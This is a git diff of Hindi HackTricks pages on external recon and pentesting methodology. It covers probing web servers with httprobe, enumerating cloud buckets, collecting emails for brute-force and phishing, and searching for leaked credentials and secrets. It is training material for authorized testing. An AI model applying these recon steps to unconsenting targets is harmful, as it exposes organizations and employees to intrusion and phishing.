अब **उन रेंज से सभी IPs को इकट्ठा करने** और **डोमेन/subdomains (DNS queries)** के लिए समय है।
|
||||
|
||||
निम्नलिखित **free apis** की सेवाओं का उपयोग करके, आप **डोमेन और subdomains द्वारा उपयोग किए गए पिछले IPs** को भी खोज सकते हैं। ये IPs अभी भी क्लाइंट के स्वामित्व में हो सकते हैं (और आपको [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) खोजने की अनुमति दे सकते हैं)
|
||||
|
@ -496,19 +496,19 @@ _ध्यान दें कि कभी-कभी subdomain एक IP के
|
|||
|
||||
### **Looking for vulnerabilities**
|
||||
|
||||
**CDNs से संबंधित सभी IPs का port scan करें** (क्योंकि आप वहां कुछ दिलचस्प नहीं पाएंगे)। चल रही सेवाओं में, आप **vulnerabilities** खोजने में **सक्षम हो सकते हैं**।
|
||||
**CDNs से संबंधित सभी IPs का port scan करें** (क्योंकि आप वहां कुछ दिलचस्प नहीं पाएंगे)। खोजे गए चल रहे सेवाओं में आप **vulnerabilities** पा सकते हैं।
|
||||
|
||||
**होस्ट स्कैन करने के लिए एक** [**गाइड**](../pentesting-network/) **खोजें।**
|
||||
|
||||
## Web servers hunting
|
||||
|
||||
> हमने सभी कंपनियों और उनके संपत्तियों को खोज लिया है और हम दायरे के भीतर IP रेंज, डोमेन और subdomains को जानते हैं। अब वेब सर्वरों की खोज करने का समय है।
|
||||
> हमने सभी कंपनियों और उनके संपत्तियों को खोज लिया है और हमें दायरे के भीतर IP रेंज, डोमेन और subdomains का पता है। अब वेब सर्वरों की खोज करने का समय है।
|
||||
|
||||
पिछले चरणों में, आपने शायद पहले से ही खोजे गए **IPs और डोमेन का कुछ recon किया है**, इसलिए आप **संभावित सभी वेब सर्वरों** को पहले से ही खोज चुके होंगे। हालाँकि, यदि आपने नहीं किया है, तो हम अब दायरे के भीतर वेब सर्वरों की खोज के लिए कुछ **तेज़ तरकीबें** देखेंगे।
|
||||
पिछले चरणों में, आपने शायद पहले से ही खोजे गए **IPs और डोमेन का कुछ recon किया है**, इसलिए आप **संभावित सभी वेब सर्वरों** को पहले से ही खोज चुके होंगे। हालाँकि, यदि आपने नहीं किया है, तो हम अब दायरे के भीतर **वेब सर्वरों की खोज के लिए कुछ तेज़ तरकीबें** देखेंगे।
|
||||
|
||||
कृपया ध्यान दें कि यह **वेब ऐप्स की खोज के लिए उन्मुख** होगा, इसलिए आपको **vulnerability** और **port scanning** भी करनी चाहिए (**यदि दायरे द्वारा अनुमति दी गई हो**).
|
||||
|
||||
**वेब** सर्वरों से संबंधित **खुले ports** की खोज करने के लिए एक **तेज़ विधि** [**masscan** का उपयोग करके यहाँ पाई जा सकती है](../pentesting-network/#http-port-discovery).\
|
||||
**वेब** सर्वरों से संबंधित **खुले ports** की खोज करने के लिए [**masscan** का उपयोग करने का एक तेज़ तरीका यहाँ पाया जा सकता है](../pentesting-network/#http-port-discovery).\
|
||||
वेब सर्वरों की खोज के लिए एक और उपयोगी टूल [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) और [**httpx**](https://github.com/projectdiscovery/httpx) है। आप बस डोमेन की एक सूची पास करते हैं और यह पोर्ट 80 (http) और 443 (https) से कनेक्ट करने की कोशिश करेगा। इसके अतिरिक्त, आप अन्य पोर्ट की कोशिश करने के लिए संकेत दे सकते हैं:
|
||||
```bash
|
||||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
||||
|
@ -516,15 +516,15 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
```
|
||||
### **Screenshots**
|
||||
|
||||
अब जब आपने **सभी वेब सर्वर** खोज लिए हैं जो दायरे में हैं (कंपनी के **IPs** और सभी **डोमेन** और **सबडोमेन** के बीच) तो शायद आप **शुरुआत कहाँ से करें** यह नहीं जानते। तो, इसे सरल बनाते हैं और बस सभी के **स्क्रीनशॉट** लेना शुरू करते हैं। बस **मुख्य पृष्ठ** पर **नज़र डालकर** आप **अजीब** एंडपॉइंट्स पा सकते हैं जो अधिक **संवेदनशील** हो सकते हैं।
|
||||
अब जब आपने **सभी वेब सर्वर** खोज लिए हैं जो दायरे में हैं (कंपनी के **IPs** और सभी **डोमेन** और **सबडोमेन** के बीच) तो शायद आप **शुरुआत कहाँ से करें** यह नहीं जानते। तो, इसे सरल बनाते हैं और बस सभी का स्क्रीनशॉट लेना शुरू करते हैं। बस **मुख्य पृष्ठ** पर **नज़र डालकर** आप **अजीब** एंडपॉइंट्स पा सकते हैं जो अधिक **संवेदनशील** हो सकते हैं।
|
||||
|
||||
प्रस्तावित विचार को लागू करने के लिए आप [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) या [**webscreenshot**](https://github.com/maaaaz/webscreenshot)** का उपयोग कर सकते हैं।**
|
||||
|
||||
इसके अलावा, आप फिर [**eyeballer**](https://github.com/BishopFox/eyeballer) का उपयोग कर सकते हैं ताकि सभी **स्क्रीनशॉट्स** पर चलाकर आपको बता सके कि **क्या संभावित रूप से संवेदनशील हो सकता है**, और क्या नहीं।
|
||||
इसके अलावा, आप फिर [**eyeballer**](https://github.com/BishopFox/eyeballer) का उपयोग कर सकते हैं ताकि सभी **स्क्रीनशॉट्स** पर चलाकर आपको बता सके कि **कौन सी संभावित रूप से संवेदनशील** हो सकती हैं, और कौन सी नहीं।
|
||||
|
||||
## सार्वजनिक क्लाउड संपत्तियाँ
|
||||
## Public Cloud Assets
|
||||
|
||||
किसी कंपनी की संभावित क्लाउड संपत्तियों को खोजने के लिए आपको **उस कंपनी की पहचान करने वाले कीवर्ड की एक सूची से शुरू करना चाहिए**। उदाहरण के लिए, एक क्रिप्टो कंपनी के लिए आप शब्दों का उपयोग कर सकते हैं: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`।
|
||||
किसी कंपनी के संभावित क्लाउड संपत्तियों को खोजने के लिए आपको **उस कंपनी की पहचान करने वाले कीवर्ड की एक सूची से शुरू करना चाहिए**। उदाहरण के लिए, एक क्रिप्टो कंपनी के लिए आप शब्दों का उपयोग कर सकते हैं: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`।
|
||||
|
||||
आपको **बकेट्स में उपयोग किए जाने वाले सामान्य शब्दों** की वर्डलिस्ट भी चाहिए:
|
||||
|
||||
|
@ -532,17 +532,17 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
|
||||
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
|
||||
|
||||
फिर, उन शब्दों के साथ आपको **परम्यूटेशन** उत्पन्न करनी चाहिए (अधिक जानकारी के लिए [**दूसरे राउंड DNS ब्रूट-फोर्स**](./#second-dns-bruteforce-round) देखें)।
|
||||
फिर, उन शब्दों के साथ आपको **परम्यूटेशन** उत्पन्न करनी चाहिए (अधिक जानकारी के लिए [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) देखें)।
|
||||
|
||||
परिणामी वर्डलिस्ट के साथ आप [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **या** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)** का उपयोग कर सकते हैं।**
|
||||
|
||||
याद रखें कि जब आप क्लाउड संपत्तियों की खोज कर रहे हों तो आपको **AWS में बकेट्स से अधिक की तलाश करनी चाहिए**।
|
||||
याद रखें कि जब आप क्लाउड संपत्तियों की खोज कर रहे हैं तो आपको **AWS में बकेट्स से अधिक की तलाश करनी चाहिए**।
|
||||
|
||||
### **संवेदनशीलता की खोज**
|
||||
### **Looking for vulnerabilities**
|
||||
|
||||
यदि आप **खुले बकेट्स या क्लाउड फ़ंक्शंस** खोजते हैं तो आपको **उनका उपयोग करना चाहिए** और देखना चाहिए कि वे आपको क्या प्रदान करते हैं और क्या आप उनका दुरुपयोग कर सकते हैं।
|
||||
यदि आप **खुले बकेट्स या क्लाउड फ़ंक्शंस** को उजागर करते हैं तो आपको **उन तक पहुँचने** और देखना चाहिए कि वे आपको क्या प्रदान करते हैं और क्या आप उनका दुरुपयोग कर सकते हैं।
|
||||
|
||||
## ईमेल
|
||||
## Emails
|
||||
|
||||
दायरे में **डोमेन** और **सबडोमेन** के साथ आपके पास **ईमेल खोजने के लिए आवश्यक सभी चीजें** हैं। ये हैं **APIs** और **उपकरण** जो मुझे किसी कंपनी के ईमेल खोजने में सबसे अच्छे लगे हैं:
|
||||
|
||||
|
@ -551,105 +551,105 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
* [**https://app.snov.io/**](https://app.snov.io/) का API (फ्री संस्करण)
|
||||
* [**https://minelead.io/**](https://minelead.io/) का API (फ्री संस्करण)
|
||||
|
||||
### **संवेदनशीलता की खोज**
|
||||
### **Looking for vulnerabilities**
|
||||
|
||||
ईमेल बाद में **वेब लॉगिन और ऑथ सेवाओं** (जैसे SSH) के लिए **ब्रूट-फोर्स** करने में सहायक होंगे। इसके अलावा, ये **फिशिंग** के लिए आवश्यक हैं। इसके अलावा, ये APIs आपको ईमेल के पीछे के व्यक्ति के बारे में और भी अधिक **जानकारी** देंगी, जो फिशिंग अभियान के लिए उपयोगी है।
|
||||
|
||||
## क्रेडेंशियल लीक
|
||||
## Credential Leaks
|
||||
|
||||
**डोमेन,** **सबडोमेन**, और **ईमेल** के साथ आप उन ईमेल से संबंधित अतीत में लीक हुए क्रेडेंशियल्स की खोज शुरू कर सकते हैं:
|
||||
**डोमेन,** **सबडोमेन**, और **ईमेल** के साथ आप उन ईमेल से संबंधित **लीक हुए क्रेडेंशियल्स** की खोज शुरू कर सकते हैं:
|
||||
|
||||
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
|
||||
* [https://www.dehashed.com/](https://www.dehashed.com/)
|
||||
|
||||
### **संवेदनशीलता की खोज**
|
||||
### **Looking for vulnerabilities**
|
||||
|
||||
यदि आप **मान्य लीक** हुए क्रेडेंशियल्स पाते हैं, तो यह एक बहुत आसान जीत है।
|
||||
यदि आप **मान्य लीक हुए** क्रेडेंशियल्स पाते हैं, तो यह एक बहुत आसान जीत है।
|
||||
|
||||
## सीक्रेट्स लीक
|
||||
## Secrets Leaks
|
||||
|
||||
क्रेडेंशियल लीक उन कंपनियों के हैक से संबंधित हैं जहाँ **संवेदनशील जानकारी लीक और बेची गई**। हालाँकि, कंपनियाँ **अन्य लीक** के लिए प्रभावित हो सकती हैं जिनकी जानकारी उन डेटाबेस में नहीं है:
|
||||
क्रेडेंशियल लीक उन कंपनियों के हैक से संबंधित हैं जहाँ **संवेदनशील जानकारी लीक और बेची गई**। हालाँकि, कंपनियाँ **अन्य लीक** से प्रभावित हो सकती हैं जिनकी जानकारी उन डेटाबेस में नहीं है:
|
||||
|
||||
### गिटहब लीक
|
||||
### Github Leaks
|
||||
|
||||
क्रेडेंशियल्स और APIs **कंपनी** या उस गिटहब कंपनी में काम करने वाले **उपयोगकर्ताओं** के **सार्वजनिक रिपॉजिटरी** में लीक हो सकते हैं।\
|
||||
आप **Leakos** नामक **उपकरण** का उपयोग करके किसी **संगठन** और उसके **डेवलपर्स** के सभी **सार्वजनिक रिपॉजिटरी** को **डाउनलोड** कर सकते हैं और उन पर स्वचालित रूप से [**gitleaks**](https://github.com/zricethezav/gitleaks) चला सकते हैं।
|
||||
क्रेडेंशियल्स और APIs **कंपनी** या उस गिटहब कंपनी के लिए काम करने वाले **उपयोगकर्ताओं** के **सार्वजनिक रिपॉजिटरी** में लीक हो सकते हैं।\
|
||||
आप **टूल** [**Leakos**](https://github.com/carlospolop/Leakos) का उपयोग करके किसी **संगठन** और उसके **डेवलपर्स** के सभी **सार्वजनिक रिपॉजिटरी** को **डाउनलोड** कर सकते हैं और उन पर स्वचालित रूप से [**gitleaks**](https://github.com/zricethezav/gitleaks) चला सकते हैं।
|
||||
|
||||
**Leakos** का उपयोग सभी **पाठ** प्रदान किए गए **URLs** पर **gitleaks** चलाने के लिए भी किया जा सकता है क्योंकि कभी-कभी **वेब पृष्ठों में भी रहस्य होते हैं**।
|
||||
|
||||
#### गिटहब डॉर्क्स
|
||||
#### Github Dorks
|
||||
|
||||
आप उस **पृष्ठ** की भी जांच करें जहाँ संभावित **गिटहब डॉर्क्स** हैं जिन्हें आप उस संगठन में खोज सकते हैं जिसे आप लक्षित कर रहे हैं:
|
||||
आप जिस संगठन पर हमला कर रहे हैं, उसमें संभावित **गिटहब डॉर्क्स** के लिए इस **पृष्ठ** की जांच करें:
|
||||
|
||||
{% content-ref url="github-leaked-secrets.md" %}
|
||||
[github-leaked-secrets.md](github-leaked-secrets.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### पेस्ट्स लीक
|
||||
### Pastes Leaks
|
||||
|
||||
कभी-कभी हमलावर या बस कर्मचारी **कंपनी की सामग्री को एक पेस्ट साइट पर प्रकाशित करेंगे**। इसमें **संवेदनशील जानकारी** हो सकती है या नहीं, लेकिन इसे खोजना बहुत दिलचस्प है।\
|
||||
आप **Pastos** नामक उपकरण का उपयोग करके एक साथ 80 से अधिक पेस्ट साइटों में खोज कर सकते हैं।
|
||||
आप टूल [**Pastos**](https://github.com/carlospolop/Pastos) का उपयोग करके एक साथ 80 से अधिक पेस्ट साइटों में खोज कर सकते हैं।
|
||||
|
||||
### गूगल डॉर्क्स
|
||||
### Google Dorks
|
||||
|
||||
पुराने लेकिन सुनहरे गूगल डॉर्क्स हमेशा **वहां नहीं होनी चाहिए ऐसी उजागर जानकारी** खोजने के लिए उपयोगी होते हैं। एकमात्र समस्या यह है कि [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) में कई **हजारों** संभावित क्वेरी हैं जिन्हें आप मैन्युअल रूप से नहीं चला सकते। इसलिए, आप अपने पसंदीदा 10 को ले सकते हैं या आप **Gorks** जैसे **उपकरण का उपयोग कर सकते हैं** **उन्हें सभी चलाने के लिए**।
|
||||
पुराने लेकिन सुनहरे गूगल डॉर्क्स हमेशा **वहां नहीं होनी चाहिए** ऐसी **उजागर जानकारी** खोजने के लिए उपयोगी होते हैं। एकमात्र समस्या यह है कि [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) में कई **हजारों** संभावित क्वेरीज़ होती हैं जिन्हें आप मैन्युअल रूप से नहीं चला सकते। तो, आप अपने पसंदीदा 10 को ले सकते हैं या आप **ऐसे टूल का उपयोग कर सकते हैं** [**Gorks**](https://github.com/carlospolop/Gorks) **उन्हें सभी चलाने के लिए**।
|
||||
|
||||
_ध्यान दें कि जो उपकरण नियमित Google ब्राउज़र का उपयोग करके सभी डेटाबेस को चलाने की उम्मीद करते हैं, वे कभी समाप्त नहीं होंगे क्योंकि Google आपको बहुत जल्दी ब्लॉक कर देगा।_
|
||||
_ध्यान दें कि जो टूल नियमित Google ब्राउज़र का उपयोग करके सभी डेटाबेस को चलाने की उम्मीद करते हैं, वे कभी समाप्त नहीं होंगे क्योंकि Google आपको बहुत जल्दी ब्लॉक कर देगा।_
|
||||
|
||||
### **संवेदनशीलता की खोज**
|
||||
### **Looking for vulnerabilities**
|
||||
|
||||
यदि आप **मान्य लीक** हुए क्रेडेंशियल्स या API टोकन पाते हैं, तो यह एक बहुत आसान जीत है।
|
||||
यदि आप **मान्य लीक हुए** क्रेडेंशियल्स या API टोकन पाते हैं, तो यह एक बहुत आसान जीत है।
|
||||
|
||||
## सार्वजनिक कोड संवेदनशीलताएँ
|
||||
## Public Code Vulnerabilities
|
||||
|
||||
यदि आपने पाया कि कंपनी का **ओपन-सोर्स कोड** है तो आप इसे **विश्लेषण** कर सकते हैं और इसमें **संवेदनशीलताएँ** खोज सकते हैं।
|
||||
यदि आपने पाया कि कंपनी का **ओपन-सोर्स कोड** है, तो आप इसे **विश्लेषण** कर सकते हैं और इसमें **कमजोरियों** की खोज कर सकते हैं।
|
||||
|
||||
**भाषा के आधार पर** आपके पास विभिन्न **उपकरण** हो सकते हैं:
|
||||
**भाषा के आधार पर** आप विभिन्न **उपकरणों** का उपयोग कर सकते हैं:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-web/code-review-tools.md" %}
|
||||
[code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
कुछ मुफ्त सेवाएँ भी हैं जो आपको **सार्वजनिक रिपॉजिटरी** को **स्कैन** करने की अनुमति देती हैं, जैसे:
|
||||
सार्वजनिक रिपॉजिटरी को **स्कैन** करने के लिए भी मुफ्त सेवाएँ हैं, जैसे:
|
||||
|
||||
* [**Snyk**](https://app.snyk.io/)
|
||||
|
||||
## [**पेंटेस्टिंग वेब मेथोडोलॉजी**](../../network-services-pentesting/pentesting-web/)
|
||||
## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/)
|
||||
|
||||
**संवेदनशीलताओं** की **अधिकांशता** जो बग हंटर्स द्वारा पाई जाती है, **वेब अनुप्रयोगों** के अंदर होती है, इसलिए इस बिंदु पर मैं एक **वेब अनुप्रयोग परीक्षण पद्धति** के बारे में बात करना चाहता हूँ, और आप [**यहाँ इस जानकारी को पा सकते हैं**](../../network-services-pentesting/pentesting-web/)।
|
||||
**कमजोरियों** का अधिकांश हिस्सा जो बग हंटर्स द्वारा पाया जाता है, **वेब अनुप्रयोगों** के अंदर होता है, इसलिए इस बिंदु पर मैं एक **वेब अनुप्रयोग परीक्षण पद्धति** के बारे में बात करना चाहूंगा, और आप [**यहाँ इस जानकारी को पा सकते हैं**](../../network-services-pentesting/pentesting-web/)।
|
||||
|
||||
मैं [**वेब स्वचालित स्कैनर्स ओपन-सोर्स टूल्स**](../../network-services-pentesting/pentesting-web/#automatic-scanners) अनुभाग का विशेष उल्लेख करना चाहता हूँ, क्योंकि, यदि आपको उनसे बहुत संवेदनशील संवेदनशीलताएँ खोजने की उम्मीद नहीं करनी चाहिए, तो वे **कार्यप्रवाहों में कुछ प्रारंभिक वेब जानकारी प्राप्त करने के लिए सहायक होते हैं।**
|
||||
मैं [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners) अनुभाग का विशेष उल्लेख करना चाहता हूँ, क्योंकि, यदि आपको उनसे बहुत संवेदनशील कमजोरियों की खोज करने की उम्मीद नहीं करनी चाहिए, तो वे **प्रारंभिक वेब जानकारी प्राप्त करने के लिए कार्यप्रवाहों में लागू करने के लिए सहायक होते हैं।**
|
||||
|
||||
## पुनरावलोकन
|
||||
## Recapitulation
|
||||
|
||||
> बधाई हो! इस बिंदु पर आपने पहले ही **सभी बुनियादी गणना** कर ली है। हाँ, यह बुनियादी है क्योंकि और भी बहुत अधिक गणना की जा सकती है (बाद में और तरकीबें देखेंगे)।
|
||||
|
||||
तो आपने पहले ही:
|
||||
|
||||
1. दायरे में सभी **कंपनियों** को खोज लिया है
|
||||
2. कंपनियों से संबंधित सभी **संपत्तियों** को खोज लिया है (और यदि दायरे में हो तो कुछ संवेदनशीलता स्कैन किया है)
|
||||
3. कंपनियों से संबंधित सभी **डोमेन** को खोज लिया है
|
||||
4. डोमेन के सभी **सबडोमेन** को खोज लिया है (क्या कोई सबडोमेन टेकओवर?)
|
||||
5. दायरे में सभी **IPs** (CDNs से और **नहीं**) को खोज लिया है।
|
||||
6. सभी **वेब सर्वर** को खोज लिया है और उनके **स्क्रीनशॉट** लिए हैं (क्या कुछ अजीब है जो गहराई से देखने लायक है?)
|
||||
7. कंपनी से संबंधित सभी **संभावित सार्वजनिक क्लाउड संपत्तियों** को खोज लिया है।
|
||||
8. **ईमेल**, **क्रेडेंशियल लीक**, और **सीक्रेट लीक** जो आपको **बहुत आसानी से एक बड़ा लाभ** दे सकते हैं।
|
||||
9. आपने जो भी वेब खोजी हैं उनका **पेंटेस्टिंग** किया है।
|
||||
1. दायरे में सभी **कंपनियों** को पाया
|
||||
2. कंपनियों से संबंधित सभी **संपत्तियों** को पाया (और यदि दायरे में हो तो कुछ कमजोरियों का स्कैन किया)
|
||||
3. कंपनियों से संबंधित सभी **डोमेन** को पाया
|
||||
4. डोमेन के सभी **सबडोमेन** को पाया (क्या कोई सबडोमेन टेकओवर?)
|
||||
5. दायरे में सभी **IPs** (CDNs से और **नहीं**) को पाया।
|
||||
6. सभी **वेब सर्वर** को पाया और उनका **स्क्रीनशॉट** लिया (क्या कुछ अजीब है जो गहराई से देखने लायक है?)
|
||||
7. कंपनी से संबंधित सभी **संभावित सार्वजनिक क्लाउड संपत्तियों** को पाया।
|
||||
8. **ईमेल**, **क्रेडेंशियल लीक**, और **गुप्त लीक** जो आपको **बहुत आसानी से एक बड़ा लाभ** दे सकते हैं।
|
||||
9. आपने जो भी वेब खोजी हैं, उनका **पेंटेस्टिंग** किया।
|
||||
|
||||
## **पूर्ण रीकॉन स्वचालित उपकरण**
|
||||
## **Full Recon Automatic Tools**
|
||||
|
||||
कुछ उपकरण हैं जो दिए गए दायरे के खिलाफ प्रस्तावित कार्यों का एक भाग करेंगे।
|
||||
वहाँ कई उपकरण हैं जो दिए गए दायरे के खिलाफ प्रस्तावित कार्यों के कुछ हिस्सों को निष्पादित करेंगे।
|
||||
|
||||
* [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
|
||||
* [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
|
||||
* [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw)
|
||||
* [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - थोड़ा पुराना और अपडेट नहीं किया गया
|
||||
|
||||
## **संदर्भ**
|
||||
## **References**
|
||||
|
||||
* [**@Jhaddix**](https://twitter.com/Jhaddix) के सभी मुफ्त पाठ्यक्रम जैसे [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
* सभी मुफ्त पाठ्यक्रम [**@Jhaddix**](https://twitter.com/Jhaddix) जैसे [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)।
|
||||
|
||||
|
@ -663,8 +663,8 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या हमें **Twitter** पर **फॉलो करें** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें ट्विटर पर फॉलो करें** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपॉजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,9 +15,9 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहेक करने के लिए - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)।
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहेक करने योग्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)।
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -33,7 +33,7 @@ _Hacktricks लोगो डिज़ाइन किए गए हैं_ [_@pp
|
|||
|
||||
### 1 - [नेटवर्क के अंदर होस्ट का पता लगाना](pentesting-network/#discovering-hosts)/ [कंपनी की संपत्तियों का पता लगाना](external-recon-methodology/)
|
||||
|
||||
**इस पर निर्भर करता है** कि आप जो **परीक्षण** कर रहे हैं वह **आंतरिक या बाहरी परीक्षण** है, आप **कंपनी के नेटवर्क के अंदर होस्ट का पता लगाने** (आंतरिक परीक्षण) या **इंटरनेट पर कंपनी की संपत्तियों का पता लगाने** (बाहरी परीक्षण) में रुचि रख सकते हैं।
|
||||
**इस पर निर्भर करता है कि आप जो **परीक्षण** कर रहे हैं वह **आंतरिक या बाहरी परीक्षण** है, आप **कंपनी के नेटवर्क के अंदर होस्ट का पता लगाने** (आंतरिक परीक्षण) या **इंटरनेट पर कंपनी की संपत्तियों का पता लगाने** (बाहरी परीक्षण) में रुचि रख सकते हैं।
|
||||
|
||||
{% hint style="info" %}
|
||||
ध्यान दें कि यदि आप बाहरी परीक्षण कर रहे हैं, तो एक बार जब आप कंपनी के आंतरिक नेटवर्क तक पहुंच प्राप्त कर लेते हैं, तो आपको इस गाइड को फिर से शुरू करना चाहिए।
|
||||
|
@ -42,48 +42,48 @@ _Hacktricks लोगो डिज़ाइन किए गए हैं_ [_@pp
|
|||
### **2-** [**नेटवर्क के साथ मज़े करना**](pentesting-network/) **(आंतरिक)**
|
||||
|
||||
**यह अनुभाग केवल तब लागू होता है जब आप आंतरिक परीक्षण कर रहे हों।**\
|
||||
किसी होस्ट पर हमला करने से पहले, शायद आप **नेटवर्क से कुछ क्रेडेंशियल चुराना** या **कुछ डेटा स्निफ़ करना** पसंद करेंगे ताकि आप **पैसिवली/एक्टिवली (MitM)** जान सकें कि आप नेटवर्क के अंदर क्या पा सकते हैं। आप [**Pentesting Network**](pentesting-network/#sniffing) पढ़ सकते हैं।
|
||||
किसी होस्ट पर हमला करने से पहले, शायद आप **नेटवर्क से कुछ क्रेडेंशियल चुराना** या **कुछ डेटा स्निफ़ करना** पसंद करें ताकि आप **पैसिवली/एक्टिवली (MitM)** जान सकें कि आप नेटवर्क के अंदर क्या पा सकते हैं। आप [**Pentesting Network**](pentesting-network/#sniffing) पढ़ सकते हैं।
|
||||
|
||||
### 3- [पोर्ट स्कैन - सेवा खोज](pentesting-network/#scanning-hosts)
|
||||
|
||||
जब आप **किसी होस्ट में कमजोरियों की तलाश कर रहे हैं** तो सबसे पहले यह जानना है कि **कौन सी सेवाएँ** किस पोर्ट पर चल रही हैं। चलिए देखते हैं [**होस्ट के पोर्ट स्कैन करने के लिए बुनियादी उपकरण**](pentesting-network/#scanning-hosts)।
|
||||
जब **किसी होस्ट में कमजोरियों की तलाश** कर रहे हों, तो सबसे पहले यह जानना है कि **कौन सी सेवाएँ** किस पोर्ट पर चल रही हैं। चलिए देखते हैं [**होस्ट के पोर्ट स्कैन करने के लिए बुनियादी उपकरण**](pentesting-network/#scanning-hosts)।
|
||||
|
||||
### **4-** [सेवा संस्करण शोषण की खोज](search-exploits.md)
|
||||
|
||||
एक बार जब आप जान लेते हैं कि कौन सी सेवाएँ चल रही हैं, और शायद उनका संस्करण, तो आपको **ज्ञात कमजोरियों की खोज करनी होगी**। शायद आपको किस्मत मिल जाए और कोई शोषण हो जो आपको एक शेल दे...
|
||||
एक बार जब आप जान लेते हैं कि कौन सी सेवाएँ चल रही हैं, और शायद उनका संस्करण, तो आपको **ज्ञात कमजोरियों की खोज** करनी होगी। शायद आपको किस्मत मिल जाए और कोई शोषण हो जो आपको एक शेल दे सके...
|
||||
|
||||
### **5-** Pentesting सेवाएँ
|
||||
|
||||
यदि किसी भी चल रही सेवा के लिए कोई शानदार शोषण नहीं है, तो आपको **प्रत्येक चल रही सेवा में सामान्य गलत कॉन्फ़िगरेशन** की तलाश करनी चाहिए।
|
||||
|
||||
**इस पुस्तक में आपको सबसे सामान्य सेवाओं का परीक्षण करने के लिए एक गाइड मिलेगा** (और अन्य जो इतनी सामान्य नहीं हैं)**। कृपया, बाईं सूची में** _**PENTESTING**_ **अनुभाग खोजें** (सेवाएँ उनके डिफ़ॉल्ट पोर्ट के अनुसार क्रमबद्ध हैं)।
|
||||
